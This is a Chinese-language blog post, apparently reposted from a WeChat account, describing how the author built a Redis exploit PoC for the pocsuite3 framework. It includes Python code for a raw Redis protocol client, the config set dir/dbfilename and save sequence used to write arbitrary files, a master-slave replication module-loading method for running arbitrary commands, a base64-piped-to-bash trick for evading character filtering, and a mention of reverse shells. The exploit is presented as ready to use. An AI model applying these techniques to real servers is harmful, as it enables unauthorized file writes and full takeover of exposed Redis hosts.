redis exp研究.md

admin 2022年3月15日22:17:28评论62 views字数 1734阅读5分46秒阅读模式

最近为了护网开始整理poc,整理到redis这类,这是一个简单琐碎的编写日记。

搜索https://paper.seebug.org/?keyword=redis 中的几篇文章,有几种方式

lua rce影响的版本比较低,暂时不考虑了,于是开始着手,对redis poc的验证功能,写文件功能,基于主从复制的命令执行功能进行编写。整个功能下来需要实现一个简单的redis client,同时保证下主从复制模式下能够支持大部分系统。

redis client还是很好模拟的,基本上就是纯文本发送,实现的用的是vulhub中的例子。

DELIMITER = b"rn"

class RedisClient(object): def __init__(self, rhost, rport): self.client = socket.create_connection((rhost, rport), timeout=20)
def send(self, data): data = self.encode(data) self.client.send(data) logger.info("send data: %r", data) return self.recv()
def recv(self, count=65535): data = self.client.recv(count) logger.info("receive data: %r", data) return data
def encode(self, data): if isinstance(data, bytes): data = data.split()
args = [b'*', str(len(data)).encode()] for arg in data: args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])
args.append(DELIMITER) return b''.join(args)

验证模式下发送个info server来获取redis信息就好了,当然也可以发送ping,但info server可以多获取些信息吧。

redis exp研究.md

写文件的功能利用的是redis文件存储的功能

对redis发送几条命令

set x payloadconfig set dir /dataconfig set dbfilenname testsave

redis就会将自身的记录文件存储在 /data/test文件下,所以我写的poc在写文件模式下只用接受两个参数,filename,content即可,就实现了写入文件呢。

ps: pocsuite3支持在poc后面添加参数来适应不同的情况

redis exp研究.md最后在命令行加上 --content xxx --filename /data/flag 

redis exp研究.md就实现了在攻击模式下写入文件。

基于主从复制模式,这个需要编译一个redis支持库来作为插件执行任意代码,但是发现这个插件并不能支持所有系统,我在docker中用alpine镜像编译,却不能到debian中使用,所以找啊找啊,发现支持库并没有依赖其他东西,于是将makefile加入了静态编译的参数

redis exp研究.md

这下编译的so就是不依赖系统的了。

对比一下,发现没有静态编译时redis插件大小只有20k,静态编译后有200多k了,没办法,将这200多k内置到poc中,就能完美运行了。

执行任意命令:

执行任意命令的时候可能会有一些特殊字符导致执行失败,可能是插件里哪没处理好,不想看那源码,用个命令执行小tips绕过去,将要执行命令base64编码下,然后实际执行echo "base64 pyload"|base64 -d|bash就好了。

redis exp研究.md

反弹shell

redis exp研究.md

redis exp研究.md

最终达到的目标,只需要利用该poc即可写入任意文件,执行任意命令,甚至反弹shell,只需要依赖pocsuite3,除此之外便不依赖任何环境了,所有redis的利用,都被这一个poc解决了。

现在想想,还是很神奇的,写这poc之前,对redis只有一知半解,写完后,通过小小的poc,即使不懂redis,几行命令便可以控制服务器,如此大的成就感心里还是很激动的~


本文始发于微信公众号(Hacking就是好玩):redis exp研究.md

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日22:17:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis exp研究.mdhttps://cn-sec.com/archives/499807.html

发表评论

匿名网友 填写信息